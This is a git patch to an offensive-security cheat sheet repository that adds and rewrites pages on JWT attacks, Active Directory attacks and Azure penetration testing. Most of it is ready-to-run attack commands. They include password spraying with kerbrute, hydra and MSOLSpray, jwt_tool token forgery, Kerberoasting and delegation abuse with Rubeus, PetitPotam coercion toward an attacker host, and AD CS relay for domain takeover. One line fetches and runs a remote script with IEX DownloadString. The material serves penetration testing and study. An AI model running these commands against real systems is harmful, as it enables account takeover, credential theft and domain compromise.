From 87be30d3b286677d878f98b7f49b81844fb7f474 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Tue, 10 Aug 2021 23:00:19 +0200 Subject: [PATCH] DB2 Injection + ADCS --- JSON Web Token/README.md | 18 + .../Active Directory Attack.md | 148 +- .../Cloud - Azure Pentest.md | 1255 ++++++++++++----- .../Cobalt Strike - Cheatsheet.md | 9 + Methodology and Resources/Office - Attacks.md | 27 +- .../Windows - Mimikatz.md | 1 + .../Windows - Persistence.md | 9 + .../Windows - Privilege Escalation.md | 135 +- SQL Injection/DB2 Injection.md | 208 +++ SQL Injection/MSSQL Injection.md | 32 +- XSS Injection/README.md | 4 +- 11 files changed, 1426 insertions(+), 420 deletions(-) create mode 100644 SQL Injection/DB2 Injection.md diff --git a/JSON Web Token/README.md b/JSON Web Token/README.md index b7915a2..3e6777a 100644 --- a/JSON Web Token/README.md +++ b/JSON Web Token/README.md @@ -6,6 +6,8 @@ - [Tools](#tools) - [JWT Format](#jwt-format) + - [Header](#header) + - [Payload](#payload) - [JWT Signature - None algorithm](#jwt-signature---none-algorithm) - [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256) - [Breaking JWT's secret](#breaking-jwts-secret) @@ -188,6 +190,7 @@ First, bruteforce the "secret" key used to compute the signature. ```powershell git clone https://github.com/ticarpi/jwt_tool +python3 -m pip install termcolor cprint pycryptodomex requests python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C \ \ \ \ \ \ @@ -249,6 +252,13 @@ Your new forged token: [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic ``` +* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` +* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` +* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` +* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` +* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` + + ### JWT cracker ```bash @@ -266,6 +276,14 @@ Secret is "Sn1f" eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret ``` +## CVE + +* CVE-2015-2951 - The alg=none signature-bypass vulnerability +* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability +* CVE-2018-0114 - Key injection vulnerability +* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability +* CVE-2020-28042 - Null signature vulnerability + ## References - [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index 403768c..229f069 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -81,6 +81,8 @@ - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking) - [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket) - [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation) + - [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation) + - [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation) - [Kerberos Constrained Delegation](#kerberos-constrained-delegation) - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation) - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049) @@ -1058,65 +1060,64 @@ Password spraying refers to the attack method that takes a large number of usern Most of the time the best passwords to spray are : -- P@ssw0rd01, Password123, mimikatz +- P@ssw0rd01, Password123, Password1, Hello123, mimikatz - Welcome1/Welcome01 - $Companyname1 : $Microsoft1 -- SeasonYear : Winter2019*,Spring2020!,Summer2018? +- SeasonYear : Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020! - Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#) + #### Kerberos pre-auth bruteforcing Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing. > Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**. -```powershell -# Username bruteforce -root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt - -# Password brute -root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username - -# Password spray -root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 -root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt -root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log -``` +* Username bruteforce + ```powershell + root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt + ``` +* Password bruteforce + ```powershell + root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username + ``` +* Password spray + ```powershell + root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123 + root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt + root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log + ``` #### Spray a pre-generated passwords list -Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network. - -```powershell -crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` -``` - -Using `DomainPasswordSpray` to spray a password against all users of a domain. - -```powershell -# https://github.com/dafthack/DomainPasswordSpray -Invoke-DomainPasswordSpray -Password Summer2021! - -# /!\ be careful with the account lockout ! -Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt - -``` +* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network. + ```powershell + crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)` + ``` +* Using `DomainPasswordSpray` to spray a password against all users of a domain. + ```powershell + # https://github.com/dafthack/DomainPasswordSpray + Invoke-DomainPasswordSpray -Password Summer2021! + # /!\ be careful with the account lockout ! + Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt + ``` +* Using `SMBAutoBrute`. + ```powershell + Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose + ``` #### Spray passwords against the RDP service -Using RDPassSpray to target RDP services. - -```powershell -git clone https://github.com/xFreed0m/RDPassSpray -python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] -``` - -Using hydra and ncrack to target RDP services. - -```powershell -hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 -ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10 -``` +* Using RDPassSpray to target RDP services. + ```powershell + git clone https://github.com/xFreed0m/RDPassSpray + python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP] + ``` +* Using hydra and ncrack to target RDP services. + ```powershell + hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10 + ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10 + ``` #### BadPwdCount attribute @@ -1411,6 +1412,13 @@ Any valid domain user can request a kerberos ticket (TGS) for any domain service ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true ``` +* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) + ```powershell + # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), + # print the "kerberoast" hash, and delete the temporary SPN set for that operation + targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] + ``` + Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`) @@ -1765,13 +1773,15 @@ Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135' #### AD CS Relay Attack +> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket. + Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101) * Version 1: NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template workstation - # template workstation, DomainController, Machine + # Templates: workstation, DomainController, Machine; KerberosAuthentication # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN @@ -2289,6 +2299,22 @@ Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HA * Ensure sensitive accounts cannot be delegated * Disable the Print Spooler Service + +#### MS-EFSRPC Abuse with Unconstrained Delegation + +Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`. + +```powershell +# Coerce the callback +git clone https://github.com/topotam/PetitPotam +python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP +python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP + +# Extract the ticket +.\Rubeus.exe asktgs /ticket: /ptt +``` + + ### Kerberos Constrained Delegation > Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however, @@ -2303,25 +2329,19 @@ $ Get-DomainComputer -TrustedToAuth | select -exp dnshostname $ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo ``` -#### Exploit with Impacket -```ps1 -$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10 -Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation +#### Exploit the Constrained Delegation -[*] Getting TGT for user -[*] Impersonating Administrator -[*] Requesting S4U2self -[*] Requesting S4U2Proxy -[*] Saving ticket in Administrator.ccache -``` - -#### Exploit with Rubeus -```ps1 -$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:... -$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt -$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt -$ dir \\dc.domain.com\c$ -``` +* Impacket + ```ps1 + $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10 + ``` +* Rubeus + ```ps1 + $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:... + $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt + $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt + $ dir \\dc.domain.com\c$ + ``` #### Impersonate a domain user on a resource @@ -2851,4 +2871,6 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae * [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/) * [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab#Previous%20Work) * [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html) -* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/) \ No newline at end of file +* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/) +* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/) +* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/) \ No newline at end of file diff --git a/Methodology and Resources/Cloud - Azure Pentest.md b/Methodology and Resources/Cloud - Azure Pentest.md index 056261a..349a3f9 100644 --- a/Methodology and Resources/Cloud - Azure Pentest.md +++ b/Methodology and Resources/Cloud - Azure Pentest.md @@ -1,29 +1,157 @@ -# Azure +# Azure Active Directory ## Summary -* [Tools](#tools) -* [Azure Architecture](#azure-architecture) -* [Azure Storage Account - Access](#azure-storage-account----access) -* [Azure AD vs Active Directory](#azure-ad-vs-active-directory) -* [Azure AD - Enumeration](#azure-ad---enumeration) -* [Azure AD - Password Spray](#azure-ad---password-spray) -* [Azure AD - Convert GUID to SID](#azure-ad---convert-guid-to-sid) -* [Azure AD - Sign in with a service principal](#azure-ad---sign-in-with-a-service-principal) -* [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction) -* [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync) -* [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket) -* [Azure AD - ADFS Federation Server ~Cloud Kerberos](#azure-ad---adfs-federation-server-cloud-kerberos) -* [Azure AD - Persistence via Automation accounts](#azure-ad---persistence-via-automation-accounts) -* [Azure VM - Execute command as NT SYSTEM with Contributor right](#azure-vm---execute-command-as-nt-system-with-contributor-right) -* [Office365 - Enumerating Users](#office365---enumerating-users) +* [Azure Recon Tools](#azure-recon-tools) +* [Enumeration](#enumeration) + * [Enumerate valid emails](#enumerate-valid-emails) + * [Enumerate Azure Subdomains](#enumerate-azure-subdomains) + * [Enumerate tenant with Azure AD Powershell](#enumerate-tenant-with-azure-ad-powershell) + * [Enumerate tenant with Az Powershell](#enumerate-tenant-with-az-powershell) + * [Enumerate tenant with az cli](#enumerate-tenant-with-az-cli) + * [Enumerate manually](#enumerate-manually) + * [Enumeration methodology](#enumeration-methodology) +* [Phishing with Evilginx2](#phishing-with-evilginx2) +* [Illicit Consent Grant](#illicit-consent-grant) +* [Token from Managed Identity](#token-from-managed-identity) + * [Azure API via Powershell](#azure-api-via-powershell) + * [Azure API via Python Version](#azure-api-via-python-version) + * [Get Tokens](#get-tokens) + * [Use Tokens](#use-tokens) + * [Refresh Tokens](#refresh-token) +* [Stealing Tokens](#stealing-tokens) + * [Stealing tokens from az cli](#stealing-tokens-from-az-cli) + * [Stealing tokens from az powershell](#stealing-tokens-from-az-powershell) +* [Add Credentials to All Enterprise Applications](#add-credentials-to-all-enterprise-applications) +* [Spawn SSH for Azure Web App](#spawn-ssh-for-azure-web-app) +* [Azure Storage Blob](#azure-storage-blob) + * [Enumerate blobs](#enumerate-blobs) + * [SAS URL](#sas-url) + * [List and download blobs](#list-and-download-blobs) +* [Runbook Automation](#runbook-automation) + * [Create a Runbook](#create-a-runbook) + * [Persistence via Automation accounts](#persistence-via-automation-accounts) +* [Virtual Machine RunCommand](#virtual-machine-runcommand) +* [KeyVault Secrets](#keyvault-secrets) +* [Pass The Certificate](#pass--the-certificate) +* [Pass The PRT](#pass-the-prt) +* [Intunes Administration](#intunes-administration) +* [Dynamic Group Membership](#dynamic-group-membership) +* [Administrative Unit](#administrative-unit) +* [Deployment Template](#deployment-template) +* [Application Proxy](#application-proxy) +* [Conditional Access](#conditional-access) +* [Azure AD](#azure-ad) + * [Azure AD vs Active Directory](#azure-ad-vs-active-directory) + * [Password Spray](#password-spray) + * [Convert GUID to SID](#convert-guid-to-sid) +* [Azure AD Connect ](#azure-ad-connect) + * [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction) + * [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync) + * [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket) * [References](#references) -## Tools +## Azure Recon Tools -:warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD. -:warning: Tokens for Azure are cached in `C:\Users\[Name]\.Azure\accessTokens.json` +* **ROADTool** + ```powershell + pipenv shell + roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout] + roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa] + roadrecon auth -u test@.onmicrosoft.com -p + roadrecon gather + roadrecon gui + ``` +* **StormSpotter** + ```powershell + # https://github.com/Azure/Stormspotter + # session 1 - backend + pipenv shell + python ssbackend.pyz + + # session 2 - frontend + cd C:\Tools\stormspotter\frontend\dist\spa\ + quasar.cmd serve -p 9091 --history + + # session 3 - collector + pipenv shell + az login -u test@.onmicrosoft.com -p + python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli + + # Web access on http://localhost:9091 + Username: neo4j + Password: BloodHound + Server: bolt://localhost:7687 + ``` +* **Azure Hound** + ```powershell + # https://github.com/BloodHoundAD/AzureHound + + . C:\Tools\AzureHound\AzureHound.ps1 + Invoke-AzureHound -Verbose + + # GUI access + bolt://localhost:7687 + Username: neo4j + Password: BloodHound + + # Cypher query example: + MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p + + # Change object ID's to names in Bloodhound + MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname + + # Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/ + ``` +* List of Microsoft portals: https://msportals.io/ +* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. + ```powershell + # You should use an account with at least read-permission on the assets you want to access + git clone https://github.com/nccgroup/azucar.git + PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File + + PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT + PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 + PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 + + # resolve the TenantID for an specific username + PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com + ``` +* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud. + ```powershell + git clone https://github.com/mwrlabs/Azurite.git + git clone https://github.com/FSecureLABS/Azurite + git submodule init + git submodule update + PS> Import-Module AzureRM + PS> Import-Module AzuriteExplorer.ps1 + PS> Review-AzureRmSubscription + PS> Review-CustomAzureRmSubscription + ``` +* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping + ```powershell + $ git clone https://github.com/NetSPI/MicroBurst + PS C:> Import-Module .\MicroBurst.psm1 + PS C:> Import-Module .\Get-AzureDomainInfo.ps1 + PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose + ``` +* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. + Require: + - Read-Only permissions over Azure Directory (Tenant) + - Read-Only permissions over Subscription + - Require AZ and AzureAD module or administrator right + + ```powershell + $ git clone https://github.com/cyberark/SkyArk + $ powershell -ExecutionPolicy Bypass -NoProfile + PS C> Import-Module .\SkyArk.ps1 -force + PS C> Start-AzureStealth + + or in the Cloud Console + + PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') + PS C> Scan-AzureAdmins * **PowerZure** - ```powershell require az module ! @@ -46,113 +174,755 @@ # Administrator $ Create-Backdoor, Execute-Backdoor ``` + +## Enumeration -* **Azure CLI** - Default azure CLI +### Enumerate valid emails + +> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute. + +* Validate email ```powershell - $ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list - $ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - - $ sudo apt-get install apt-transport-https - $ sudo apt-get update && sudo apt-get install azure-cli - # dump users - $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' + PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt + admin@.onmicrosoft.com - VALID + root@.onmicrosoft.com - INVALID + test@.onmicrosoft.com - VALID + contact@.onmicrosoft.com - INVALID ``` +* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon -* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping - ```powershell - $ git clone https://github.com/NetSPI/MicroBurst - PS C:> Import-Module .\MicroBurst.psm1 - PS C:> Import-Module .\Get-AzureDomainInfo.ps1 - PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose - ``` +#### Password spraying -* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. - Require: - - Read-Only permissions over Azure Directory (Tenant) - - Read-Only permissions over Subscription - - Require AZ and AzureAD module or administrator right - - ```powershell - $ git clone https://github.com/cyberark/SkyArk - $ powershell -ExecutionPolicy Bypass -NoProfile - PS C> Import-Module .\SkyArk.ps1 -force - PS C> Start-AzureStealth - - or in the Cloud Console - - PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') - PS C> Scan-AzureAdmins - ``` - -* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud. - - ```powershell - git clone https://github.com/mwrlabs/Azurite.git - git clone https://github.com/FSecureLABS/Azurite - git submodule init - git submodule update - PS> Import-Module AzureRM - PS> Import-Module AzuriteExplorer.ps1 - PS> Review-AzureRmSubscription - PS> Review-CustomAzureRmSubscription - ``` - -* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. - - ```powershell - # You should use an account with at least read-permission on the assets you want to access - git clone https://github.com/nccgroup/azucar.git - PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File - - PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT - PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 - - # resolve the TenantID for an specific username - PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com - ``` - -## Azure Architecture - -![Azure Architecture](https://miro.medium.com/max/880/0*-5NqtHX2C8arkwQG) - -* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large -* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large -* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large -* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large - -## Azure Storage Account - Access - -* Blobs – *.blob.core.windows.net - ```powershell - $ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S - ``` -* File Services – *.file.core.windows.net -* Data Tables – *.table.core.windows.net -* Queues – *.queue.core.windows.net -z ```powershell -# https://github.com/NetSPI/MicroBurst -S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123] -Found Storage Account - secure.blob.core.windows.net +PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1 +PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password -Verbose +``` + +### Enumerate Azure Subdomains + +```powershell +PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1 +PS> Invoke-EnumerateAzureSubDomains -Base -Verbose +Subdomain Service +--------- ------- +.mail.protection.outlook.com Email +.onmicrosoft.com Microsoft Hosted Domain +``` + +### Enumerate tenant with Azure AD Powershell + +```powershell +Import-Module C:\Tools\AzureAD\AzureAD.psd1 +Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1 +PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force +PS> $creds = New-Object System.Management.Automation.PSCredential("test@.onmicrosoft.com", $passwd) +PS Az> Connect-AzureAD -Credential $creds + +PS AzureAD> Get-AzureADUser -All $true +PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName +PS AzureAD> Get-AzureADGroup -All $true +PS AzureAD> Get-AzureADDevice +PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember +PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName +``` + +### Enumerate tenant with Az Powershell + +```powershell +PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force +PS> $creds = New-Object System.Management.Automation.PSCredential ("test@.onmicrosoft.com", $passwd) +PS Az> Connect-AzAccount -Credential $creds + +PS Az> Get-AzResource +PS Az> Get-AzRoleAssignment -SignInName test@.onmicrosoft.com +PS Az> Get-AzVM | fl +PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} +PS Az> Get-AzFunctionApp +PS Az> Get-AzStorageAccount | fl +PS Az> Get-AzKeyVault +``` + +### Enumerate tenant with az cli + +```powershell +PS> az login -u test@.onmicrosoft.com -p +PS> az vm list +PS> az vm list --query "[].[name]" -o table 